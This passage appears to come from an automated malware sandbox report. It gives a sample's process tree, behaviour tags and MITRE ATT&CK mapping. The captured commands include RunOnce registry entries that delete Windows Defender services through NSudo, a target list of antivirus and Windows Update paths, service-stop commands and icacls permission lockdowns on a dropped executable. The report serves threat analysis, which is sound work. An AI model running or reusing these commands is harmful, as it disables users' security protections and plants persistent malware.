Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\Reboot","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1836
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:1452
        
        C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:1744
        
        C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:4112
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1824"
        7⤵
        Executes a command shell one-liner
        
        PID:5100
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "1824"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1700
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
        6⤵
        
        PID:5060
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
        6⤵
        
        PID:448
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
        6⤵
        
        PID:4852
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2M7278.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2M7278.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1016

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1m75d2.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1m75d2.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\lYHGXJMh.exe" /setowner "SYSTEM"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Windows\lYHGXJMh.exe" /setowner "SYSTEM"
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4588
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\lYHGXJMh.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1020
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Windows\lYHGXJMh.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
    3⤵
    - Modifies file permissions
    PID:224
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\lYHGXJMh.exe" /remove:d Everyone Administrators
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Windows\lYHGXJMh.exe" /remove:d Everyone Administrators
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:1392
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:4984
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4984 -s 536
    3⤵
    - Program crash
    PID:2488
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:4312
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 508
    3⤵
    - Program crash
    PID:4324
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:4144
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 508
    3⤵
    - Program crash
    PID:1300
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:4440
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 508
    3⤵
    - Program crash
    PID:3696
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:1172
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1172 -s 508
    3⤵
    - Program crash
    PID:3836
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:1792
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1792 -s 508
    3⤵
    - Program crash
    PID:3968
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:5028
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5028 -s 508
    3⤵
    - Program crash
    PID:3836
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:4620
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4620 -s 508
    3⤵
    - Program crash
    PID:4760
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:1284
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1284 -s 508
    3⤵
    - Program crash
    PID:2112
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:2540
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2540 -s 508
    3⤵
    - Program crash
    PID:5076
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:4512
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4512 -s 508
    3⤵
    - Program crash
    PID:4164
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:4976
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4976 -s 508
    3⤵
    - Program crash
    PID:1712
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:4724
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4724 -s 508
    3⤵
    - Program crash
    PID:1772
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:2868
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2868 -s 508
    3⤵
    - Program crash
    PID:4576
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:5104
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5104 -s 508
    3⤵
    - Program crash
    PID:2752
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:1140
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1140 -s 508
    3⤵
    - Program crash
    PID:312
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:3384
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3384 -s 508
    3⤵
    - Program crash
    PID:1516
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:1928
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1928 -s 508
    3⤵
    - Program crash
    PID:4260
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:2960
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2960 -s 508
    3⤵
    - Program crash
    PID:2204
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:1700
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1700 -s 508
    3⤵
    - Program crash
    PID:2604
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:2196
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2196 -s 508
    3⤵
    - Program crash
    PID:4564
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:1428
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 508
    3⤵
    - Program crash
    PID:4344
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:5072
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 508
    3⤵
    - Program crash
    PID:1112
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:2264
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 508
    3⤵
    - Program crash
    PID:840
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:4132
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 508
    3⤵
    - Program crash
    PID:4760
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:1520
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1520 -s 508
    3⤵
    - Program crash
    PID:4152
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:4336
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 508
    3⤵
    - Program crash
    PID:4068
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:408
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 508
    3⤵
    - Program crash
    PID:3492
- C:\Windows\lYHGXJMh.exe
  "C:\Windows\lYHGXJMh.exe"
  2⤵
  - Executes dropped EXE
  PID:1712
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1712 -s 508
    3⤵
    - Program crash
    PID:1652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4984 -ip 4984
1⤵
PID:1244

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4312 -ip 4312
1⤵
PID:3384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4144 -ip 4144
1⤵
PID:2344

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppX3bn25b6f886wmg6twh46972vprk9tnbf.mca
1⤵
PID:224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4440 -ip 4440
1⤵
PID:4264

C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
1⤵
- Executes dropped EXE
PID:3300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1172 -ip 1172
1⤵
PID:3132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1792 -ip 1792
1⤵
PID:3132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 5028 -ip 5028
1⤵
PID:2844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4620 -ip 4620
1⤵
PID:2488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 1284 -ip 1284
1⤵
PID:4580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 2540 -ip 2540
1⤵
PID:3316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 4512 -ip 4512
1⤵
PID:2344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 4976 -ip 4976
1⤵
PID:3448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4724 -ip 4724
1⤵
PID:2552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2868 -ip 2868
1⤵
PID:4092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 5104 -ip 5104
1⤵
PID:4692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 1140 -ip 1140
1⤵
PID:4764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 3384 -ip 3384
1⤵
PID:3768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 1928 -ip 1928
1⤵
PID:5056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 2960 -ip 2960
1⤵
PID:4060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 1700 -ip 1700
1⤵
PID:708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 2196 -ip 2196
1⤵
PID:3844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 1428 -ip 1428
1⤵
PID:3028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 5072 -ip 5072
1⤵
PID:3968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2264 -ip 2264
1⤵
PID:4664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 4132 -ip 4132
1⤵
PID:968

C:\Windows\system32\cmd.exe
cmd.exe /c start " " "C:\Windows\winloghelper.exe"
1⤵
- Executes a command shell one-liner
PID:212
- C:\Windows\winloghelper.exe
  "C:\Windows\winloghelper.exe"
  2⤵
  - Executes dropped EXE
  PID:2696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 1520 -ip 1520
1⤵
PID:3368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 4336 -ip 4336
1⤵
PID:4520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 408 -ip 408
1⤵
PID:2236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 764 -p 1712 -ip 1712
1⤵
PID:3796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion